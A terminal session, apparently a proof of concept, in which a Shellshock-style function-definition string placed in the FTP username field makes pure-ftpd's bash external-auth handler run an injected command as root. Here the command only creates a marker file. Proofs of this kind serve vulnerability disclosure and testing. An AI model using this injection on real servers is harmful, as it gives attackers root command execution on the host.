$ cat > /tmp/handler.sh #! /bin/bash echo auth_ok:1 echo uid:42 echo gid:21 echo dir:/tmp echo end ^D

$ chmod +x /tmp/handler.sh

pure-authd -B -s /tmp/ftpd.sock -r /tmp/handler.sh

pure-ftpd -B -l extauth:/tmp/ftpd.sock

$ ftp 127.0.0.1 Name: () { :; }; touch /tmp/pwnd Password: whatever ^C

$ ls -l /tmp/pwnd -rw------- 1 root wheel 0 Sep 27 15:28 /tmp/pwnd